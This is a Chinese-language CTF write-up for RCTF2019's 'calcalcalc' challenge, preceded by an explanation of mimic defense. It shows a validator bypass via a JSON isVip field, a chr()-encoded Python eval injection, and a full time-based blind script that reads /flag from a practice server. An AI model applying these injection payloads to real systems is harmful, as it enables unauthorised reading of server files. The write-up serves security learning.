Damn1t
for you I bleed myself dry
FRIENDS
baidu

calc与拟态防御

2019-08-17 ctf

calc与拟态防御

拟态防御

拟态防御(Mimic Defense,MD)是一种主动防御行为。由于其思想已被应用于网络空间安全领域,因此常作为网络空间拟态防御(Cyber Mimic Defense,CMD)的简称。
CMD 是国内研究团队首创的主动防御理论,为应对网络空间中基于未知漏洞、后门或病毒木马等的未知威胁,提供具有普适创新意义的防御理论和方法。

类似于生物界的拟态防御,在网络空间防御领域,在目标对象给定服务功能和性能不变前提下,其内部架构、冗余资源、运行机制、核心算法、异常表现等环境因素,以及可能附着其上的未知漏洞后门或木马病毒等都可以做策略性的时空变化,从而对攻击者呈现出“似是而非”的场景,以此扰乱攻击链的构造和生效过程,使攻击成功的代价倍增。
CMD 在技术上以融合多种主动防御要素为宗旨:以异构性、多样或多元性改变目标系统的相似性、单一性;以动态性、随机性改变目标系统的静态性、确定性;以异构冗余多模裁决机制识别和屏蔽未知缺陷与未明威胁;以高可靠性架构增强目标系统服务功能的柔韧性或弹性;以系统的视在不确定属性防御或拒止针对目标系统的不确定性威胁

rctf2019-calcalcalc

打开发现网页是用于模拟计算

给出了源代码
读取docker-compose.yml,我们知道flag隐藏在所有3个后端'/ flag中。 3个后端都通过eval计算用户输入,我们的目标是制作一个可以在3个后端读取/标记的有效载荷。

查看frontend\src\app.controller.ts

1
2
3
4
@Post('/calculate')
calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) {
const serializedBson = bson.serialize(calculateModel);
const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];

3个ip代表了三个决策器,语言分别是nodejs、python、php,也就是说利用了三重验证
这里不同于我曾今通常所见的json,而使用bson方式处理请求

bson:
BSON是由10gen开发的一个数据格式,目前主要用于MongoDB中,是mongodb的数据存储格式。BSON基于JSON格式,选择JSON进行改造的原因主要是JSON的通用性及JSON的schemaless的特性。

优点:

  • 更快的遍历速度
  • 操作更简易
  • 增加了额外的数据类型

参考:https://blog.csdn.net/m0_38110132/article/details/77716792

当三个决策器的结果一致时才会返回正确结果

1
2
3
4
5
6
7
8
9
10
11
12
13
const set = new Set(jsonResponses.map(p => JSON.stringify(p)));
this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);
this.logger.log('Ret = ' + JSON.stringify(jsonResponses));
if (set.size === 1) {
const rand = Math.floor(Math.random() * responses.length);
Object.keys(responses[rand].headers).forEach((key) => {
res.setHeader(key, responses[rand].headers[key]);
});
res.json(jsonResponses[rand]);
res.end();
} else {
res.end('That\'s classified information. - Asahina Mikuru');
}

查看calculate.model.ts

1
2
3
4
5
6
7
@ExpressionValidator(15, {
message: 'Invalid input',
})
public readonly expression: string;

@IsBoolean()
public readonly isVip: boolean = false;

于是又查看expression.validator.ts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;

对输入进行了过滤:只能输入0-9和a-z,最大长度15

阅读 class-validator 源码:https://github.com/typestack/class-validator/blob/58a33e02fb5e77dde19ba5ca8de2197c9bc127e9/src/validation/Validator.ts#L323

1
return value instanceof Boolean || typeof value === "boolean";

非常遗憾,netstjs 不会自动把 ‘true’ 转换成 true (不像 Spring),所以直接添加 isVip=True 是不行的。但是 Nestjs + expressjs 支持 json 作为提交的 body:

https://github.com/nestjs/nest/blob/205d73721402fb508ce63d7f71bc2a5584a2f4b6/packages/platform-express/adapters/express-adapter.ts#L125

1
2
3
4
const parserMiddleware = {
jsonParser: bodyParser.json(),
urlencodedParser: bodyParser.urlencoded({ extended: true }),
};

所以可以如下绕过:

1
2
3
Content-Type: application/json

{"expression":"MORE_THAN_15_BYTES_STRING", "isVip": true}

下一步就是试图读取flag,flag在根目录,由于php端进行了很多限制

1
2
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

所以将目标转到python:
python可以用+进行字符串拼接,字符过滤可以用ascii编码绕过,绕过方法如下:

1
2
>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1
2

于是我们可以利用时间盲注,payload:

1
__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import json
import string

header = {
"Content-Type":"application/json"}
url = "http://web30.node1.buuoj.cn/calculate"

def foo(payload):
return "+".join(["chr(%d)"%ord(x) for x in payload])

flag = ''
for i in range(20):
for j in string.ascii_letters + string.digits + '{_}':
exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)
data = {
"expression": "eval(" + foo(exp) + ")",
"isVip":True
}
try:
r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)
#print r.elapsed
except:
flag += j
print("[+] flag:",flag)
break

参考:
https://xz.aliyun.com/t/5532#toc-0
https://xz.aliyun.com/t/5953#toc-0
https://github.com/zsxsoft/my-ctf-challenges

Author: damn1t

Link: http://microvorld.com/2019/08/17/CTF/拟态防御与calc/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Windows Defender 侧信道攻击
NextPost >
vulnhub DC系列:DC1
CATALOG
  1. 1. calc与拟态防御
    1. 1.1. 拟态防御
    2. 1.2. rctf2019-calcalcalc